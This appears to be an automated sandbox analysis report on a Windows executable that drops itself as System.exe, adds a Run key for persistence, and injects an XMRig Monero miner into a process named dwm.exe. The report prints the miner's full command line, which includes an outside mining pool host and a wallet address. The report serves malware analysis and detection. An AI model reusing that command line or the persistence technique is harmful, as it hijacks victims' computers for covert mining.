Analysis

  • max time kernel
    94s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    21-05-2022 00:39

General

  • Target

    5750a4e7e392665b01ccfdd4af273ccbe096b14516c7a3e0f2fbb068ad25e482.exe

  • Size

    19.2MB

  • MD5

    19263218df8fc863e249a5300abd8856

  • SHA1

    0775d23e9c3aca70961fe1498735c650f441c5df

  • SHA256

    5750a4e7e392665b01ccfdd4af273ccbe096b14516c7a3e0f2fbb068ad25e482

  • SHA512

    cc793a66cf206bf8e48a55e0c84dfc361d44896b5a69534d27b9376bd7d7be59067a667e5077fbea48f40c7841994c57e1bcdfabe14c42d4a59271a9ea4b44a9

Malware Config

Signatures

  • Modifies visibility of file extensions in Explorer 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 4 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 55 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5750a4e7e392665b01ccfdd4af273ccbe096b14516c7a3e0f2fbb068ad25e482.exe
    "C:\Users\Admin\AppData\Local\Temp\5750a4e7e392665b01ccfdd4af273ccbe096b14516c7a3e0f2fbb068ad25e482.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4952
    • C:\Users\Admin\AppData\Roaming\System.exe
      "C:\Users\Admin\AppData\Roaming\System.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2996
      • C:\Windows\System32\dwm.exe
        C:\Windows\System32\dwm.exe -B -a cryptonight --donate-level=1 --url=gulf.moneroocean.stream:10001 -u 43NsyECLTgtEFJ3cbXQAHCe7dvuijrjXENAEZWPucGh6GgdHC5eYHHcXNjyvSDeK4QfaXSbg8rQTw1EiCmZnmpuY9d8MxqY -p Admin -k --randomx-mode=light --cpu-priority=0 -t 1
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2308
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
    1⤵
      PID:4572

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Hidden Files and Directories

    1
    T1158

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Hidden Files and Directories

    1
    T1158

    Modify Registry

    2
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\System.exe
      Filesize

      19.2MB

      MD5

      19263218df8fc863e249a5300abd8856

      SHA1

      0775d23e9c3aca70961fe1498735c650f441c5df

      SHA256

      5750a4e7e392665b01ccfdd4af273ccbe096b14516c7a3e0f2fbb068ad25e482

      SHA512

      cc793a66cf206bf8e48a55e0c84dfc361d44896b5a69534d27b9376bd7d7be59067a667e5077fbea48f40c7841994c57e1bcdfabe14c42d4a59271a9ea4b44a9

    • C:\Users\Admin\AppData\Roaming\System.exe
      Filesize

      19.2MB

      MD5

      19263218df8fc863e249a5300abd8856

      SHA1

      0775d23e9c3aca70961fe1498735c650f441c5df

      SHA256

      5750a4e7e392665b01ccfdd4af273ccbe096b14516c7a3e0f2fbb068ad25e482

      SHA512

      cc793a66cf206bf8e48a55e0c84dfc361d44896b5a69534d27b9376bd7d7be59067a667e5077fbea48f40c7841994c57e1bcdfabe14c42d4a59271a9ea4b44a9

    • memory/2308-136-0x0000000000400000-0x0000000000873000-memory.dmp
      Filesize

      4.4MB

    • memory/2308-137-0x00000000004014F0-mapping.dmp
    • memory/2308-139-0x0000000000400000-0x0000000000873000-memory.dmp
      Filesize

      4.4MB

    • memory/2308-140-0x000001A241C10000-0x000001A241C20000-memory.dmp
      Filesize

      64KB

    • memory/2308-141-0x0000000000400000-0x0000000000873000-memory.dmp
      Filesize

      4.4MB

    • memory/2308-142-0x000001A241E30000-0x000001A241E34000-memory.dmp
      Filesize

      16KB

    • memory/2996-132-0x0000000000000000-mapping.dmp
    • memory/2996-135-0x00007FFB5C990000-0x00007FFB5D451000-memory.dmp
      Filesize

      10.8MB

    • memory/4952-130-0x0000000000650000-0x0000000001984000-memory.dmp
      Filesize

      19.2MB

    • memory/4952-131-0x00007FFB5C990000-0x00007FFB5D451000-memory.dmp
      Filesize

      10.8MB